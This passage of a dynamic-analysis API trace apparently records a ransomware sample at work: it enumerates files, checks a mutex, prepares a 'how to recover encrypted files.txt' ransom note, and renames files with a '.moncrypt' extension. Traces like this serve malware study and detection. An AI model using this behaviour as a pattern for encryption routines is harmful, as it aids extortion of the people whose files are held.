Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.moncrypt")) returned 0 [0046.882] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0046.882] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.882] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.882] GlobalLock (hMem=0x440004) returned 0x553188 [0046.882] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.882] GlobalUnlock (hMem=0x440004) returned 0 [0046.882] GlobalLock (hMem=0x440004) returned 0x553188 [0046.882] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.882] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.882] GlobalUnlock (hMem=0x440004) returned 0 [0046.882] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.882] GlobalUnlock (hMem=0x44000c) returned 0 [0046.882] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.882] CharLowerBuffW (in: lpsz="ja-jp-sym.xml", cchLength=0xd | out: lpsz="ja-jp-sym.xml") returned 0xd [0046.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", cchWideChar=86, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xmlf", lpUsedDefaultChar=0x0) returned 86 [0046.883] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xmlf", lpUsedDefaultChar=0x0) returned 4 [0046.883] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 0x54e280 [0046.883] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.883] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.883] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", dwFileAttributes=0x20) returned 0 [0046.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.moncrypt")) returned 0 [0046.891] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0046.891] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.891] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.891] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.891] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.891] GlobalUnlock (hMem=0x44000c) returned 0 [0046.891] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.891] GlobalLock (hMem=0x440004) returned 0x555198 [0046.891] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.891] GlobalUnlock (hMem=0x44000c) returned 0 [0046.891] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.891] GlobalUnlock (hMem=0x440004) returned 0 [0046.891] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.891] CharLowerBuffW (in: lpsz="symbase.xml", cchLength=0xb | out: lpsz="symbase.xml") returned 0xb [0046.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", cchWideChar=84, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml ", lpUsedDefaultChar=0x0) returned 84 [0046.892] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\symbols\\symbase.xml ", lpUsedDefaultChar=0x0) returned 4 [0046.892] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0x54e280 [0046.892] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.892] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.892] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", dwFileAttributes=0x20) returned 0 [0046.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.moncrypt")) returned 0 [0046.893] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.893] GlobalLock (hMem=0x440004) returned 0x552180 [0046.893] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.893] GlobalUnlock (hMem=0x440004) returned 0 [0046.893] GlobalLock (hMem=0x440004) returned 0x552180 [0046.893] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.893] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.894] GlobalUnlock (hMem=0x440004) returned 0 [0046.894] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.894] GlobalUnlock (hMem=0x44000c) returned 0 [0046.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d3868c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d3868c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.894] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.894] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.894] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.894] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.894] GlobalUnlock (hMem=0x44000c) returned 0 [0046.894] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.894] GlobalLock (hMem=0x440004) returned 0x554190 [0046.894] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.894] GlobalUnlock (hMem=0x44000c) returned 0 [0046.894] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.894] GlobalUnlock (hMem=0x440004) returned 0 [0046.894] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.894] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d3868c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d3868c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.894] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.894] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.894] GlobalLock (hMem=0x440004) returned 0x553188 [0046.894] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.894] GlobalUnlock (hMem=0x440004) returned 0 [0046.894] GlobalLock (hMem=0x440004) returned 0x553188 [0046.894] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.894] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.894] GlobalUnlock (hMem=0x440004) returned 0 [0046.894] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.894] GlobalUnlock (hMem=0x44000c) returned 0 [0046.895] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.895] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0046.895] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.895] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.895] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.895] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.895] GlobalUnlock (hMem=0x44000c) returned 0 [0046.895] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.895] GlobalLock (hMem=0x440004) returned 0x555198 [0046.895] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.895] GlobalUnlock (hMem=0x44000c) returned 0 [0046.895] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.895] GlobalUnlock (hMem=0x440004) returned 0 [0046.895] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.895] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0046.895] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.895] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.895] GlobalLock (hMem=0x440004) returned 0x553188 [0046.895] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.895] GlobalUnlock (hMem=0x440004) returned 0 [0046.895] GlobalLock (hMem=0x440004) returned 0x553188 [0046.895] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.895] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.895] GlobalUnlock (hMem=0x440004) returned 0 [0046.895] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.895] GlobalUnlock (hMem=0x44000c) returned 0 [0046.895] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.895] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0046.895] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.895] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.895] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.896] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.896] GlobalUnlock (hMem=0x44000c) returned 0 [0046.896] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.896] GlobalLock (hMem=0x440004) returned 0x555198 [0046.896] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.896] GlobalUnlock (hMem=0x44000c) returned 0 [0046.896] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.896] GlobalUnlock (hMem=0x440004) returned 0 [0046.896] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.896] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0046.896] GetLastError () returned 0x12 [0046.896] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.896] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.896] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.896] GlobalLock (hMem=0x440004) returned 0x552180 [0046.896] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.896] GlobalUnlock (hMem=0x440004) returned 0 [0046.896] GlobalLock (hMem=0x440004) returned 0x552180 [0046.896] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.896] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.896] GlobalUnlock (hMem=0x440004) returned 0 [0046.896] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.897] GlobalUnlock (hMem=0x44000c) returned 0 [0046.897] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.897] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0046.897] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: 